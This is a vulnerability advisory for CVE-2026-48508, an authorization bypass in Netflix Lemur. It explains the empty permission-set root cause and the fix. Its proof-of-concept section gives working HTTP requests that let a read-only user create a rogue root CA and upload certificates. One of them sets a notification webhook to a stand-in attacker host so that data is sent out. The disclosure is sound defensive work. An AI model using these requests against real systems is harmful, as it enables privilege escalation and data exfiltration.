high · 8.8CVE-2026-48508Jun 25, 2026

CVE-2026-48508: Lemur Authorization Bypass via Empty Flask-Principal Need Set

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A read-only user in Netflix Lemur can create root Certificate Authorities, upload arbitrary certificates, and manipulate notifications because two permission classes default to an empty Need set…

Packagelemur
Ecosystempip
Affected<= 1.9.0
Fixed in1.9.1
CVE-2026-48508: Lemur Authorization Bypass via Empty Flask-Principal Need Set

The problem

Both StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero arguments when their config flags are unset. Because both flags defaulted to False, this was the state of every default Lemur install.

Flask-Principal's Permission.allows() short-circuits to True whenever self.needs is empty. The .can() gate therefore passes for every authenticated identity, including the read-only role. The parent class AuthenticatedResource only checks that a token exists, so this permission check is the sole authorization layer in front of the affected endpoints.

Proof of concept

A working proof-of-concept for CVE-2026-48508 in lemur, with the exact payload below.

http
# Attacker holds only a valid read-only JWT/session token.
# Default install: ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT are both False.

# 1. Create a root CA as a read-only user
POST /api/1/authorities HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "name": "attacker-root-ca",
  "owner": "attacker@corp.com",
  "description": "rogue root",
  "commonName": "Attacker Root CA",
  "type": "root",
  "keyType": "RSA2048",
  "signingAlgorithm": "SHA256WithRSA",
  "validityYears": 10
}

# 2. Create/hijack a notification (SSRF sink) as a read-only user
POST /api/1/notifications HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "label": "exfil",
  "plugin": {"slug": "slack-notification"},
  "options": [{"name": "webhook", "value": "https://attacker.example/collect"}],
  "certificates": []
}

# 3. Upload an attacker-controlled certificate
POST /api/1/certificates/upload HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "owner": "attacker@corp.com",
  "body": "<PEM_CERT>",
  "privateKey": "<PEM_KEY>",
  "chain": ""
}

The root cause is that Permission.__init__(*needs) with no arguments produces self.needs = set(). Flask-Principal's allows() guard reads if self.needs and not self.needs.intersection(identity.provides), so an empty set makes the condition falsy and the check is skipped entirely, returning True for any caller.

The patch changed the default value of the config.get(...) second argument from False to True for both flags, so the if requires_admin / if strict_role_enforcement branch now fires on unconfigured installs and passes real RoleNeed objects to super().__init__().

A subsequent corrected release went further: StrictRolePermission now explicitly denies identities that carry the read-only role regardless of flag value, closing the opt-out path.

CWE-863 (Incorrect Authorization): the permission object is constructed but its Need set is empty, so authorization logic never actually evaluates the caller's role.

The fix

Upgrade to Lemur 1.9.1 (initial fix) or the subsequent corrected release. Do not explicitly set ADMIN_ONLY_AUTHORITY_CREATION = False or LEMUR_STRICT_ROLE_ENFORCEMENT = False in your config, as doing so reintroduces the empty-Need bypass. The safest posture is to leave both flags unset so the new secure defaults apply.

Reporter not attributed.

References: [1][2]

Related research